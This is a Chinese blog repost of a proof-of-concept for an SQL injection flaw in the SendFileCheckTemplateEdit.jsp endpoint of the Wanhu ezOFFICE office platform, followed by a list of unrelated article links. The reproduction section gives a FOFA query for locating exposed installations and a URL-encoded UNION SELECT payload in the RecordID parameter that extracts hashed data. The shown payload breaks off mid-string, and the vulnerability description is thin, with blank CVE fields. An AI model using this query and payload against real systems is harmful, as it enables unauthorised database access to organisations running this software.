当前位置： 首页 > article >正文

万户协同办公平台ezoffice SendFileCheckTemplateEdit.jsp接口存在SQL注入漏洞 附POC

article 2024/11/14 3:11:17

@[toc]

万户协同办公平台ezoffice SendFileCheckTemplateEdit.jsp接口存在SQL注入漏洞 附POC

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

1. 万户协同办公平台ezoffice接口简介

微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发

万户ezOFFICE集团版协同平台以工作流程、知识管理、沟通交流和辅助办公四大核心应用

2.漏洞描述

万户ezOFFICE协同管理平台是一个综合信息基础应用平台。 万户协同办公平台ezoffice SendFileCheckTemplateEdit.jsp接口存在未SQL注入漏洞。

CVE编号:

CNNVD编号:

CNVD编号:

3.影响版本

万户协同办公平台ezoffice SendFileCheckTemplateEdit.jsp接口存在SQL注入漏洞

4.fofa查询语句

"Ezoffice"

5.漏洞复现

漏洞链接：http://127.0.0.1/defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%


http://www.kler.cn/a/149040.html

相关文章：

  • 一文详解java的数据类型
  • 【Playwright + Python】系列（十）利用 Playwright 完美处理 Dialogs 对话框
  • 设计模式——策略模式（c++）
  • 【leetcode练习·二叉树】用「分解问题」思维解题 II
  • 计算机网络分析题
  • JavaScript数组去重的实用方法汇总
  • SpringBoot项目整合Redis，Rabbitmq发送、消费、存储邮件
  • 代码随想录算法训练营 ---第四十九天
  • 在Visual Studio Code中安装加速TypeScript程序开发的插件
  • Git工作流和Commit规范
  • 12：kotlin类和对象 -- 继承
  • C语言第三十六弹--实现转移表的多种方法
  • redis基本数据结构
  • FFA 2023｜字节跳动 7 项议题入选
  • 计算机基础知识57
  • Ubuntu 上使能 SELinux
  • 王者小游戏
  • 【好用的个人工具】在Docker环境下部署Simple mind map思维导图工具
  • 云原生系列Go语言篇-泛型Part 2
  • 【Python】jieba分词基础
  • 【C++初阶】五、类和对象（日期类的完善、流运算符重载函数、const成员、“”取地址运算符重载）
  • python与机器学习1，机器学习的一些基础知识(完善ing)
  • Prometheus的详细部署
  • spring boot spring-retry重试机制
  • 算法 离散化
  • CVE-2022-4886 ingress命令注入复现与分析